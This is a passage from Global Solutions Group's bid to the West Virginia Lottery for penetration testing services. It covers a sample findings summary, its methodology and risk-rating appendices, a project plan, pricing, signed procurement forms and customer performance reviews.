During the penetration test, GSG found the issues listed below. Each detailed finding and recommendation for remediation were documented in a detailed findings section later in this report.

Vulnerability	Security Implications	Severity
Expired Certificate in Use	Using an expired certificate opens up the possibility of the Man-in-the-Middle (MiTM) attack and system or data compromised.	Low
Web Portal Single Factor Authentication	Reusing email-password can lead to email, data, or system compromise (credential stuffing attack).	Low
User enumeration	An attacker can validate the user account on the system, and using other attacks can compromise email, data, or system.	Low

Key Observations

- Unused accounts (including test accounts) were locked or disabled to prevent any misuse.
- All unnecessary or non-required ports were blocked to prevent any misuse or future exploit attempts.
- Applications allows single-factor authentication, which could lead to account compromise.
- Servers configuration could allow an attacker to compromise sessions and obtain sensitive data.

Recommendations

- Install a valid certificate on the external-facing webserver or disable the service if not needed.
- Use Multi-factor Authentication for remote access if possible.
- Configure the server to show a generic error.



Appendix A: Project Methodology

The criteria used for this assessment is based upon the industry best practices for security and OWASP Top 10, which represents a broad consensus about the most critical network, operating systems, and web application security flaws (refer to Appendix-B for further information).

This base methodology is applied to maintain a high quality of consistency, regardless of the application tested. However, unique application business logic and architecture often require an intuitive approach, prompting tests to accommodate situational attack vectors.

GSG's general activities were part of a standard methodology consisting of the seven phases listed below. These phases were further augmented by the intuitive analysis of any specific asset's configuration or information discovered within the target environment by a highly trained and experienced penetration testing expert.

Assessment Phase	Components	Tasks
1.Pre-engagement Interactions	Defining scope and communication methods	The scope of a project specifically defines what is to be tested. One key component of scoping an engagement is outlining how the testers should spend their time. We work with the client to discuss the scope and secure communication methods during and after the test is completed.
2.Intelligence Gathering	Understanding about the target	Intelligence Gathering is performing reconnaissance against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. We use various public and private resources to gain knowledge about the target systems (domain, websites, etc.)
3.Threat Modeling	Network Scan	We collect information on and perform a scan of the network environment to gain knowledge of the configuration and identify known vulnerabilities with the use of automated tools.
4.Vulnerability Analysis	Research on vulnerability and possible exploit.	We review the networks identified during the scan and eliminates information related to networks not germane to the security review. Vulnerabilities associated with the networks were then isolated and reviewed, and validated.
5.Exploitation (If approved by the client)	Exploiting vulnerabilities	Attempt to exploit the vulnerabilities discovered in the vulnerability detection phase and any additional vulnerability that is manually identified in this phase.
6.Post-exploitation (If approved by the client)	Gain access and elevate	Gain access to any server and explore any additional vulnerabilities which allow gaining access to the elevated/privileged user access (e.g., Local Administrator, Domain Administrator).
7.Reporting	Documentation, Discussion, and Final report.	We document the findings from analyzing the above information, discuss those results with the Technology/Audit team, and create a final report for senior management submission.

Below are the phases of penetration testing methodology:



Appendix B: Risk Rankings

A Risk matrix is a matrix that is used during risk assessment to define the level of risk by considering the category of probability or likelihood against the category of consequence severity. This is a simple mechanism to increase the visibility of risks and assist management decision making.

A risk is the amount of Impact expected to occur during a given period due to a specific event (e.g., System Failure/Compromise). Statistically, the level of risk can be calculated as the product of the probability that an incident occurs multiplied by the severity of that Impact (i.e., the average amount of data loss or productivity down). In practice, a risk matrix is a useful approach where either the probability or the severity cannot be estimated with accuracy and precision.

For example, the potential Impact can be categorized as:

- High Multiple System Failures
- Medium One or More System Failure
- Low One System Failure or Some Minor issues

The probability of harm occurring might be categorized as High, Medium, and Low. However, it must be considered that very low probabilities may not be very reliable.

The resulting Risk Matrix could be:

Severity versus Probability	Low	Medium	High
High Potential Impact on Systems/Network/Users	Medium Risk	High Risk	High Risk
Medium Potential Impact on Systems/Network/Users	Medium Risk	Medium Risk	High Risk
Low Potential Impact on Systems/Network/Users	Low Risk	Low Risk	Medium Risk

The company or organization then would calculate what levels of risk they can take with different events.

This would be done by weighing up the risk of an event occurring against the cost to implement safety and its benefit.

Threat Agent Factors

The first set of factors were related to the threat agent involved. The goal here is to estimate the likelihood of a successful attack by this group of threat agents. Use the worst-case threat agent.

Skill level

How technically skilled is this group of threat agents? No technical skills (1), some technical skills (3), advanced computer user (5), network and programming skills (6), security penetration skills (9),

Motive

How motivated is this group of threat agents to find and exploit this vulnerability? Low or no reward (1), possible reward (4), high reward (9)



Opportunity

What resources and opportunities were required for this group of threat agents to find and exploit this vulnerability? Full access or expensive resources required (0), special access or resources required (4), some access or resources required (7), no access or resources required (9)

Size

How large is this group of threat agents? Developers (2), system administrators (2), intranet users (4), partners (5), authenticated users (6), anonymous Internet users (9)

Vulnerability Factors

The next set of factors were related to the vulnerability involved. The goal here is to estimate the likelihood of the particular vulnerability involved being discovered and exploited. Assume the threat agent selected above.

Ease of discovery

How easy is it for this group of threat agents to discover this vulnerability? Practically impossible (1), difficult (3), easy (7), automated tools available (9)

Ease of exploit

How easy is it for this group of threat agents to actually exploit this vulnerability? Theoretical (1), difficult (3), easy (5), automated tools available (9)

Awareness

How well known is this vulnerability to this group of threat agents? Unknown (1), hidden (4), obvious (6), public knowledge (9)

Intrusion detection

How likely is an exploit to be detected? Active detection in the application (1), logged and reviewed (3), logged without review (8), not logged (9)

https://www.owasp.org/index.php/OWASP Risk Rating Methodology



Appendix C: Attacks and Tests Performed Based on OWASP TOP 10

The following list details the most common attacks that can put an application at risk. Each attack is delegated to a category and contains links for further reading.

OWASP

Application Security Risks: Attackers can potentially use many different paths through your application to harm your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.



Sometimes, these paths are trivial to find and exploit, and sometimes, they are complicated. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood of each threat agent, attack vector, and security weakness and combine it with an estimate of your organization's technical and business Impact. Together, these factors determine the overall risk.

References

- OWASP Risk Rating Methodology
 https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
- Article on Threat/Risk Modeling https://www.owasp.org/index.php/Threat_Risk_Modeling

OWASP Top-10 (2017)

https://www.owasp.org/index.php/Category:OWASP Top Ten Project



5.7 Timeline and Project Plan [RFQ 4.1 – RFQ 4.4]

A sample project timeline for completing scope requirements is provided below:

Project Timeline - Network Penetration Testing and Cybersecurity Assessments



The date listed above is a potential date. The start of the contract will determine the actual date.

A sample project plan for completing scope requirements is provided below:

Sr. No.	Task Description	Total Days Required
1	Kick-off Meeting with Lottery Stakeholders	1 day
PHASE ·	${f 1}$ Gather initial details to perform assessment	
2	Provide timeline to perform assessment / Project execution start / Inform stakeholders about the assessment	2 Days
PHASE ·	${f 2}$ Perform vulnerability assessment and pen testing	
3	Establish a Vulnerability assessment and pen testing program	1 Day
4	External Network Penetration Testing	5 days



5	Internal Network Penetration Testing	8 Days
6	Website Penetration Testing	4 Days
7	Wireless Penetration Testing	2 Days
PHASE	-3 Reporting & Final discussions	
8	Submit Draft report	5 days after
		assessment completed
9	Conduct Findings Presentation to Lottery Management (In-	3-5 days after
	Person or via Conference Call)	submitting report
10	Finalize any Outstanding Documentation and Reports.	To be decide after
		mitigation perform
11	Project Review Meeting with Lottery Stakeholders and	2 days
	Handover of deliverables	



6. Designated Contact, Certification and Signature

DESIGNATED CONTACT: Vendor appoints the individual identified in this Section as the Contract Administrator and the initial point of contact for matters relating to this Contract.

(Printed Name and Title) Lisa Salvador, Vice President

(Address) 25900 Greenfield Road, Suite 220 Oak Park, MI 48237

(Phone Number) / (Fax Number) 248-291-5440(O), 313-333-0188(M) / Fax: None

(email address) _____lisas@globalsolgroup.com

CERTIFICATION AND SIGNATURE: By signing below, or submitting documentation through wvOASIS, I certify that: I have reviewed this Solicitation/Contract in its entirety; that I understand the requirements, terms and conditions, and other information contained herein; that this bid, offer or proposal constitutes an offer to the State that cannot be unilaterally withdrawn; that the product or service proposed meets the mandatory requirements contained in the Solicitation/Contract for that product or service, unless otherwise stated herein; that the Vendor accepts the terms and conditions contained in the Solicitation, unless otherwise stated herein; that I am submitting this bid, offer or proposal for review and consideration; that this bid or offer was made without prior understanding, agreement, or connection with any entity submitting a bid or offer for the same material, supplies, equipment or services; that this bid or offer is in all respects fair and without collusion or fraud; that this Contract is accepted or entered into without any prior understanding, agreement, or connection to any other entity that could be considered a violation of law; that I am authorized by the Vendor to execute and submit this bid, offer, or proposal, or any documents related thereto on Vendor's behalf; that I am authorized to bind the vendor in a contractual relationship; and that to the best of my knowledge, the vendor has properly registered with any State agency that may require registration.

By signing below, I further certify that I understand this Contract is subject to the provisions of West Virginia Code § 5A-3-62, which automatically voids certain contract clauses that violate State law; and that pursuant to W. Va. Code 5A-3-63, the entity entering into this contract is prohibited from engaging in a boycott against Israel.

Global Solutions Group, Inc.

(Company)

any) Jesa Jahrada

(Signature of Authorized Representative) (Lisa Salvador, Vice President) (March 18, 2024) (Printed Name and Title of Authorized Representative) (Date) 248-291-5440(O), 313-333-0188(M) / Fax: None (Phone Number) (Fax Number) lisas@globalsolgroup.com

(Email Address)

Revised 8/24/2023



7. Miscellaneous

Required Information			
Contract Manager	Lisa Salvador		
Telephone Number	248.291.5440		
Fax Number	None		
Email Address	lisas@globalsolgroup.com		



8. Exhibit A - Pricing Page

EXHIBIT A - Pricing Page					
ltem #	Section	Description of Service	*Estimated Number of Assesments*	Unit Cost per Assesment & Reports	Extended Amount
1	4.1	External Network Penetration Testing	8	\$ 903.00 -	\$ 7,224.00 -
2	4.2	Website Penetration Testing	8	\$ 3,483.00 -	\$ 27,864.00 -
3	4.3	Internal/Client-Side Network Penetration Testing	8	\$ 18,348.00 -	\$ 146,784.00 -
4	4.4	Wireless Penetration Testing	8	\$ 3,892.00 -	\$ 31,136.00 -
	TOTAL BID AMOUNT \$ 213,008.00				\$ 213,008.00 -
Please no	te the following inf	/ormation is being captured for auditing purposes and is an estimation	te for evaluation only		
Vendor sho	ould type or electro	nically enter the information into the Pricing Page to prevent error	rs in the evaluation.		
Any produ	ct or service not on	the Agency provided Pricing Page will not be allowable.			
The state c	annot accept alterr	nate pricing pages, failure to use Exhibit A Pricing Page could lead t	o disqualification of vendors	i bid.	
Ver	idor Name:	Global Solutions Group, Inc.			
Vend	dor Address:	25900 Greenfield Road, Suite 220 Oak Park, MI 48237	7		
Ema	ail Address:	lisas@globalsolgroup.com			
Pho	ne Number:	248-291-5440(O), 313-333-0188(M)			
Fax	Fax Number: None				
Signat	Signature and Date: Kear Jahradon March 26, 2024				

Payment Schedule:

• GSG will accept a 100% services fee invoice upon acceptance of all final deliverables.

Assumptions:

- The above cost is based upon the scope and clarification response provided in the RFP and the Q&A documents. If any of the scope and/or quantities of devices or location increases, then our effort will be increased appropriately.
- GSG proposes a 2% annual escalation for the proposed hourly bill rates from the second year to provide the most competitive pricing for the entire contract duration.
- For effective project scheduling, Lottery management needs to provide access to all proprietary information, applications, and systems including third parties necessary to the success of this project and all Lottery stakeholders should be available as needed to ensure the timeliness and success of this project.
- Depending upon internal security testing requirement, either the Lottery or GSG will provide the laptop to accomplish internal security testing.
- The GSG cyber team believes that the majority of the scope of work can be successfully accomplished remotely utilizing virtual meetings/conferences. However, GSG has included onsite related travel cost for each location for both 4.3 Internal/Client-Side Network Penetration Testing and 4.4 Wireless Penetration Testing related tasks. If any additional onsite work is required, then we would determine the specific need for onsite work and the



corresponding accurate travel cost. We will charge for actual travel cost as per IRS / Federal Travel Regulation. For understanding purpose, 1 trip of 3 to 5 days per person travel costs around \$1850 including flight, lodging, meals, etc.

- The Lottery will provide access to all proprietary information, applications, and systems including third parties necessary for the success of this project.
- Any vulnerabilities, sensitive information, or configuration data discovered during this engagement won't be shared with anybody but the designated Lottery employees.
- Some tasks may be accomplished in parallel depending upon the information, systems, and stakeholders' availability.
- GSG is flexible in scheduling and can perform the work after-hours and on weekends to reduce the impact on normal operations.
- During this effort, GSG will not be responsible for negotiations with hardware, software, or other vendors, or any other contractual relationship between the Lottery and third parties.
- Lottery management will ensure that appropriate personnel are available to meet with the GSG team, as necessary to ensure the success of this project.
- GSG will not be accountable when delays result from the Lottery's inability to meet stated prerequisites prior to an engagement, nor when delays result from the Lottery personnel not being available to provide the required support for the success of this project.
- Servers' OS installation is not part of this scope.
- The proposal will be valid for 90 days.


9. Addendum 1

Purce 2019 Post Chart	rment of Administration uasing Division Washington Street East Office Box 50130 eston, WV 25305-0130	State of West Virginia Centralized Request for Quote Service - Prof	
Proc Folder:	1369290		Reason for Modification:
Doc Description: Proc Type:	Network Penetration Testin	g and Cybersecurity Assessments	Addendum No. 1 to provide answers to vendor questions and instructions to vendors for registration a See Page 2 for complete info
Date Issued	Solicitation Closes	Solicitation No	Version
024-03-21	2024-03-28 13:30	CRFQ 0705 LOT2400000009	2
D RECEIVING L	OCATION		
ID CLERK			
EPARTMENT OF	ADMINISTRATION		
URCHASING DIV	ISION		
019 WASHINGTO	NSTE		
HARLESTON	WV 25305		
IS			
ENDOR			
endor Customer	Code: 6M9L5		
endor Name : G	obal Solutions Group, Inc.		
Address : 25900 (Greenfield Road, Suite 220		
Street :			
City: Oak Park			
State : Michigan		Country : USA	Zip:48237
Principal Contact	:Lisa Salvador, Vice Presid	lent	
/endor Contact P	hone: 248-291-5440(O), 31	3-333-0188(M) Extension:	
CR INFORMATIO Brandon L Barr 304-558-2652 Drandon.l.barr@wv	N CONTACT THE BUYER		
	bin filvada)	FEIN# 200010736	DATE March 25, 2024
lignature X	o all terms and conditions	contained in this solicitation	



ADDENDUM ACKNOWLEDGEMENT FORM SOLICITATION NO.: LOT2400000009

Instructions: Please acknowledge receipt of all addenda issued with this solicitation by completing this addendum acknowledgment form. Check the box next to each addendum received and sign below. Failure to acknowledge addenda may result in bid disqualification.

Acknowledgment: I hereby acknowledge receipt of the following addenda and have made the necessary revisions to my proposal, plans and/or specification, etc.

Addendum Numbers Received:

(Check the box next to each addendum received)

[)	(]	Addendum No. 1	[]	Addendum No. 6
[]	Addendum No. 2	I	1	Addendum No. 7
[]	Addendum No. 3	Į]	Addendum No. 8
[]	Addendum No. 4	[]	Addendum No. 9
]	1	Addendum No. 5	1	1	Addendum No. 10

I understand that failure to confirm the receipt of addenda may be cause for rejection of this bid. I further understand that any verbal representation made or assumed to be made during any oral discussion held between Vendor's representatives and any state personnel is not binding. Only the information issued in writing and added to the specifications by an official addendum is binding.

Global Solutions Group, Inc.	
Company	
Jour Selonda	
Authorized Signature	
March 25, 2024	
Date	

NOTE: This addendum acknowledgement should be submitted with the bid to expedite document processing. Revised 6/8/2012



10. Performance Reviews



GSG has amassed a significant amount of Exceptional performance ratings and kudos from our customers. Section 10.1-10.4 includes copies of the original documents.

Our continued stellar performance on contracts is recognized by customers and acknowledge our outstanding contract performance in the following written customer reviews.

State and Local	State of Kansas Department of Health & Environment	Excellent in Overall Satisfaction, Work Performed, Delivery, Communication
Performance Assessments	Fort Wayne–Allen County Airport Authority	Excellent in Overall Satisfaction, Work Performed, Delivery, Communication
	State of Kansas	Excellent Performance, first-class support
Past Performance Rating Form	U. S. Department of Interior	Very Good in Quality, Schedule, Cost Control and Management
	2023 Security Assessment Support for Department of State x0872	Very Good in Quality, Schedule, Cost Control, and Management
	2023 Privacy and Information Security Services for AmeriCorps x0918	Very Good in Quality, Schedule, Cost Control, and Management
Contract	Operational Security Assessments, Penetration Testing, and Web Security Assessments x0556	Exceptional Quality and Cost Control
Assessment Report System	Operational Security Assessment, Penetration Testing, and Web Security Assessment x0604	Exceptional Quality
(CIARS)	Penetration Testing for USDA Agencies x0265	Exceptional Schedule and Quality
	Operational Security Assessment x0567	Very Good Quality
	Penetration Testing x0604	Exceptional Quality
	Albuquerque Service Center x0004	Very Good Quality, Schedule, Cost Control and Regulatory Compliance
	Food and Nutrition Service, Information Security Center, Security Assessment Team, Penetration Testing	Very Satisfied (maximum rating) in all categories
Exit Surveys	APHIS - Information Security Center – Animal and Plant Health Inspection Service	Very Satisfied (maximum rating) in all categories
	AMS -— Exit Survey Questionnaire for Agriculture Marketing Services	Very Satisfied (maximum rating) in all categories

For your convenience, those contracts are summarized in the table below:



10.1 State and Local Performance Assessments

10.1.1 State of Kansas Department of Health & Environment

Synopsis: Excellent in all Categories

	State of	Kansas Depa	rtment of H	iealth & Env	ironment - P	(DHE-EP
Project Name	EpiTrax	Application	Security A	ssessment	t	
Contact Person	Greg Ho	ockenberger				
Designation	Division	of Public He	aith, 1000	J SW Jacks	ion St. Top	ека, КБ
Email Id	Gregory	.Hockenber	ger@ks.go	0V		
2. Feedback						
Ratings: Excellent Go	od Average	e Below Aver	age Poor			
3						
		Rating (Plac	e a 'Yes' w	nerever applic	able)	
		Excellent	Good	Average	Average	Poor
Overall Satisfaction		х				
Quality of the Work Perf	ormed	х				
Delivery on Time		XX				
Communication and Pro Management	ject	х				
Things that went well		GSG was both slow of	very respo down and	nsive to ou speed up s	r schedulir chedule.	ng needs
Recognize any outstand team member(s)	ing GSG	All membe	rs of GSG	were exce	llent	
			(Place	"X" Where A	pplicable)	
		Yes		May Be		No
Will you recommend our others?	services to	x				
Can we provide your nar Reference to potential cl	me as a ients?	x				
Any Suggestion	e/Romarke					
Votes had some mit	arrenarka	auee making	it hard to	haar Oth		and a
having standup mee	tings and p	roviding deta	ils of revie	ew as it pro	aressed.	good at
-		-			-	



10.1.2 Fort Wayne–Allen County Airport Authority

Synopsis: Excellent in all categories



Ratings: Excellent || Good || Average || Below Average || Poor

	Rating (Plac	e a "Yes"	wherever app	blicable) Below	Deer	
	Excellent	Good	Average	Average	Poor	
Overall Satisfaction	Yes					
Quality of the Work Performed	Yes		.0 02.			
Delivery on Time	Yes					
Communication and Project Management	Yes					
Things that went well	I beleive the mentioned o	entire as in the pho	sessment work the soc	ventwell.A ial engineer	s I ing	
Recognize any outstanding GSG team member(s)	Vatsal did a wonderful job! Thank you Jay, Vicki , and everyone else applicable					
		(Place ")	Where App	olicable)		
	Yes		May Be	No	í.	
Will you recommend our services to others?	x					
Can we provide your name as a Reference to potential clients?	x					
Any Suggestions/Remarks						

Name: Bobby Panaretos

Date: _^{5/6/2020}



10.1.3 State of Kansas

Synopsis: Vendor Overall Performance Excellent, First-Class

marylandhbe.com
HEALTHBENEFIT EXCHANGE
MHBE IT Consulting and Technical Support Services IDIQ RFP # BPM031490
A vendor has submitted you as a reference in response to the vendor's proposal for provision of IT Consulting and Technical Support Services for the MHBE. Please complete the following Reference Check form and return to <u>hix.procurement@maryland.gov</u> , Thank you in advance.
Requestor: Global Solutions Group
D. C. Nathaniel Kunst ISO At Large
Reference Name: Mathanici Kunst, 190 Actarge
Reference Organization: State of Kansas
A. <u>Introduction</u>
 Why did you choose this vendor for your project?
Global Solutions Group submitted a comprehensive proposal detailing their approaches to a broad range of IT and cybersecurity support. Their record of performance and providing excellent value were also key factors.
2. Diance exclain what convises the way doe would at for your?
2. Prease exprain what services the vendor provided for you? Clobal Solutions Crown has provided numerous convises for several aconsists in the Otels of
Kansas under this contract, including malware recovery support, forensic examination of file permissions, Citrix NetScaler Upgrades, a thorough upgrade of the Board of Tax Appeals' server system, and several "ad hoc" projects.
B. Implementation
1. Was the vendor responsive to your needs? How would you rate the vendor's
responsiveness to your needs; Excellent, Very Good, Good Fair, Poor, Undecided?
Global Solutions Group has been very responsive to our needs and we have relied on them for a wide variety of requirements.
1



ARYLAND	BENEFIT
HEALTHE	EXCHANGE
2. H G Deliver explan of deliv C. <u>W</u>	Tow would you rate the accuracy and timeliness of deliverables; Excellent, Very bood, Good, Fair, Poor, Undecided? rables and reports were all thoughtfully prepared and presented and provided a clear nation of all activities undertaken by Global Solutions Group. The accuracy and timeliness verables has met and exceeded our expectations.
Globa that n	al Solutions Group continues to provide first-class service and support in many capacities neet and exceed our expectations and requirements.
D. <u>O</u>	Overall Performance
1. H	Now would you rate the vendor's overall performance: Excellent, Very Good,
G	bood, Fair, Poor, Undecided?
Exce	ellent
2. H	lave you experienced any challenges working with this vendor? If so, please
el	laborate.
No ch	nallenges at all.
3. W	Vas the vendor able to resolve problems in a timely manner? Explain?
Not A	Applicable. No challenges / issues.
4. W	Vould you use the vendor again for the same services?
Yes. /	And we have called on them several times for additional services.
	2



MARYLAND HEALTHBENEF

EXCHANGE

5. Would you recommend the vendor for our needs? If not, please explain.

If you are looking for a vendor with a wide range of IT capabilities, Global Solutions Group is very capable of responding to your needs, and very flexible to work with.

3

Digitally signed by CHIHARU BULLOCK

Date: 2023.09.17 15:36:42 -04'00'

10.2 Past Performance Rating Form

The following is past performance project identification.

10.2.1 U.S. Department of Interior

Synopsis: Quality, Schedule, Cost Control, and Management is Very Good

AT PAST PERF	TACHMENT J.P-6 FORMANCE RATING FORM
PAST PERFORMANCE PROJECT I	DENTIFICATION (To be filled out by the <u>Offeror</u>):
CONTRACTOR NAME:	Global Solutions Group, Inc
CONTRACT NUMBER:	140D0422A0008
ORDER NUMBER (if applicable):	NA
PROJECT TITLE:	Information System Security Line of Business
PROJECT VALUE:	\$26,000,000.00
TOTAL PERIOD OF PERFORMANCE, INCLUDING OPTIONS: (MM/YYYY - MM/YYYY or MM/YYYY - Present)	07/ 2022 –07/2027
PAST PERFORMANCE REFERENC	E INFORMATION (To be filled out by the <u>Rater</u>):
	Team Lead/Senior Contracting Officer, CFCM
IIIIE'	
AGENCY / CUSTOMER	U.S. Department of Interior
AGENCY / CUSTOMER:	U.S. Department of Interior 703-964-3024 (Deck) 571-266-2694 (Mobile)

CHIHARU

BULLOCK

For each of the five (5) criteria listed below, the rater must choose one (1) Adjectival Rating by checking the box, as applicable. At a minimum, for any rating that is checked Marginal or Unsatisfactory, please submit additional comments to substantiate the rating. For any rating that

1. QUALITY OF SERVICE

is checked "Not Applicable," please explain why it does not apply.

SIGNATURE OF RATER: (Rating

Officer, Contracting Officer's Representative, Contracting Officer's Technical Representative, other Government employee or Corporate Officer/Official of the customer with cognizance over the submitted

Project)

must be provided by the Contracting

Rating	Adjectival Rating	Definition
	Exceptional	Performance meets contractual requirements and exceeds many to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with few minor problems for which corrective actions taken by the contractor were highly effective.
✓	Very Good	Performance meets contractual requirements and exceeds some to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with some minor problems for which corrective actions taken by the contractor were effective.
	Satisfactory	Performance meets contractual requirements. The contractual performance of the element or subelement contains some minor problems for which corrective actions taken by the contractor appear or were satisfactory.



Marginal	Performance does not meet some contractual requirements. The contractual performance of the element or subelement being evaluated reflects a serious problem for which the contractor has not yet identified corrective actions. The contractor's proposed actions appear only marginally effective or were not fully implemented.
Unsatisfactory	Performance does not meet most contractual requirements and recovery is not likely in a timely manner. The contractual performance of the element or sub-element contains a serious problem(s) for which the contractor's corrective actions appear or were ineffective.
Not Applicable	

ADDITIONAL COMMENTS:

The Contractor provided quality contractor support with the resources that fully meet or exceed the minimum qualifications required by the Government.

2. SCHEDULE

Rating	Adjectival Rating	Definition
	Exceptional	Performance meets contractual requirements and exceeds many to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with few minor problems for which corrective actions taken by the contractor were highly effective.
V	Very Good	Performance meets contractual requirements and exceeds some to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with some minor problems for which corrective actions taken by the contractor were effective.
	Satisfactory	Performance meets contractual requirements. The contractual performance of the element or subelement contains some minor problems for which corrective actions taken by the contractor appear or were satisfactory.
	Marginal	Performance does not meet some contractual requirements. The contractual performance of the element or subelement being evaluated reflects a serious problem for which the contractor has not yet identified corrective actions. The contractor's proposed actions appear only marginally effective or were not fully implemented.
	Unsatisfactory	Performance does not meet most contractual requirements and recovery is not likely in a timely manner. The contractual performance of the element or sub-element contains a serious problem(s) for which the contractor's corrective actions appear or were ineffective.
	Not Applicable	

ADDITIONAL COMMENTS:

In general, the Contractor stayed on track and was flexible when priority changes were needed. For some BPA orders, they completed their work ahead of the established deadlines. All period of performance extensions were due to the DOI's customer agencies' issues, e.g., not ready for project execution and/or program delay. Submission of the deliverables related contract administration were normally much earlier than expected.



3. COST CONTROL

Rating	Adjectival Rating	Definition
	Exceptional	Performance meets contractual requirements and exceeds many to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with few minor problems for which corrective actions taken by the contractor were highly effective.
~	Very Good	Performance meets contractual requirements and exceeds some to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with some minor problems for which corrective actions taken by the contractor were effective.
	Satisfactory Performance meets contractual requirements. The contractual performance the element or subelement contains some minor problems for which correct actions taken by the contractor appear or were satisfactory.	
	Marginal	Performance does not meet some contractual requirements. The contractual performance of the element or subelement being evaluated reflects a serious problem for which the contractor has not yet identified corrective actions. The contractor's proposed actions appear only marginally effective or were not fully implemented.
	Unsatisfactory	Performance does not meet most contractual requirements and recovery is not likely in a timely manner. The contractual performance of the element or sub-element contains a serious problem(s) for which the contractor's corrective actions appear or were ineffective.
	Not Applicable	

ADDITIONAL COMMENTS:

Overall, the Contractor performed a good burn rate management, making the best efforts to keep actual expenditure under the allocated funding level and proactively informing the government officials of potential funding issues.

4. MANAGEMENT

Rating	Adjectival Rating	Definition	
	Adjectival Rating Performance m Government's/ subelement be which correctiv Very Good Performance m Government's/ subelement be which correctiv Satisfactory Performance m the element or actions taken b Marginal Performance of performance of performance of performance of	Performance meets contractual requirements and exceeds many to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with few minor problems for which corrective actions taken by the contractor were highly effective.	
Very Good	Performance meets contractual requirements and exceeds some to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with some minor problems for which corrective actions taken by the contractor were effective.		
	Satisfactory	Performance meets contractual requirements. The contractual performance of the element or subelement contains some minor problems for which corrective actions taken by the contractor appear or were satisfactory.	
	Adjectival Rating Definition Exceptional Performance meets contractual requirements and exceeds many to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with few minor problems for which corrective actions taken by the contractor were highly effective. Very Good Performance meets contractual requirements and exceeds some to the Government's/customer's benefit. The contractual performance of the element or subelement being evaluated was accomplished with some minor problems for which corrective actions taken by the contractor were effective. Satisfactory Performance meets contractual requirements. The contractual performance of the element or subelement contains some minor problems for which corrective actions taken by the contractor appear or were satisfactory. Marginal Performance does not meet some contractual requirements. The contractual performance of the element or subelement being evaluated reflects a serious problem for which the contractor has not yet identified corrective actions. The		



		actor's proposed actions appear only marginally effective or were not fully mented. rmance does not meet most contractual requirements and recovery is not in a timely manner. The contractual performance of the element or element contains a serious problem(s) for which the contractor's corrective appear or were ineffective.
Unsatisfactory		Performance does not meet most contractual requirements and recovery is not likely in a timely manner. The contractual performance of the element or sub-element contains a serious problem(s) for which the contractor's corrective actions appear or were ineffective.
	Not Applicable	

ADDITIONAL COMMENTS:

The Contractor maintained frequent and timely communication with the CO/COR and the program office. Their responses to the Government inquiry/request were quick. They managed complexed requirements for multiple different customers, handling multiple layers of coordination among numerous stakeholders.

5. SMALL BUSINESS SUBCONTRACTING (Only applicable to Federal Prime Contract Awards)

Rating	Adjectival Rating	Definition
	Exceptional	Exceeded all statutory goals or goals as negotiated. Had exceptional success with initiatives to assist, promote, and utilize small business (SB), small disadvantaged business (SDB), women-owned small business (WOSB), HUBZone small business, veteran-owned small business (VOSB) and service disabled veteran owned small business (SDOSB). Complied with FAR 52.219-8, Utilization of Small Business Concerns. Exceeded any other small business participation requirements incorporated in the contract/order, including the use of small businesses in mission critical aspects of the program. Went above and beyond the required elements of the subcontracting plan and other small business requirements of the contract/order. Completed and submitted Individual Subcontract Reports and/or Summary Subcontract Reports in an accurate and timely manner. Did not have a history of three or more unjustified reduced or untimely payments to small business subcontractors within a 12-month period.
	Very Good	Met all of the statutory goals or goals as negotiated. Had significant success with initiatives to assist, promote and utilize SB, SDB, WOSB, HUBZone, VOSB, and SDVOSB. Complied with FAR 52.219- 8, Utilization of Small Business Concerns. Met or exceeded any other small business participation requirements incorporated in the contract/order, including the use of small businesses in mission critical aspects of the program. Endeavored to go above and beyond the required elements of the subcontracting plan. Completed and submitted Individual Subcontract Reports and/or Summary Subcontract Reports in an accurate and timely manner. Did not have a history of three or more unjustified reduced or untimely payments to small business subcontractors within a 12-month period.
Satisfactory		Demonstrated a good faith effort to meet all of the negotiated subcontracting goals in the various socio-economic categories for the current period. Complied with FAR 52.219-8, Utilization of Small Business Concerns. Met any other small business participation requirements included in the contract/order. Fulfilled the requirements of the subcontracting plan included in the contract/order. Completed and submitted Individual Subcontract Reports and/or Summary Subcontract Reports in an accurate and timely manner. Did not have a history of three or more unjustified reduced or untimely payments to small business subcontractors within a 12-month period.
	Marginal	Deficient in meeting key subcontracting plan elements. Deficient in complying with FAR 52.219-8, Utilization of Small Business Concerns, and any other small



		business participation requirements in the contract/order. Did not submit Individual Subcontract Reports and/or Summary Subcontract Reports in an accurate or timely manner. Failed to satisfy one or more requirements of a corrective action plan currently in place; however, does show an interest in bringing performance to a satisfactory level and has demonstrated a commitment to apply the necessary resources to do so. Required a corrective action plan. Did not have a history of three or more unjustified reduced or untimely payments to small business subcontractors within a 12-month period.
	Unsatisfactory	Noncompliant with FAR 52.219-8 and 52.219-9, and any other small business participation requirements in the contract/order. Did not submit Individual Subcontract Reports and/or Summary Subcontract Reports in an accurate or timely manner. Showed little interest in bringing performance to a satisfactory level or is generally uncooperative. Required a corrective action plan. Had a history of three or more unjustified reduced or untimely payments to small business subcontractors within a 12-month period.
¥	Not Applicable	

ADDITIONAL COMMENTS:

There is no subcontracting plan or goal established at the ordering activity level.



10.3 Contract Performance Assessment Reporting System (CPARS)

The following are Contract Performance Assessment Reporting System (CPARS) evaluations for several cybersecurity engagements. These are official assessments of performance made by federal government agencies regarding contractor performance on contracts.

10.3.1 2023 Security Assessment Support for Department of State (via the Department of the Interior ISSLoB Program)

Synopsis: Quality, Schedule, Cost Control, and Management is Very Good

1	1/30/23, 4:54 PM CPARS
	Print Close
	FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 CONTRACTOR PERFORMANCE ASSESSMENT REPORT (CPAR)
	Name/Address of Contractor:
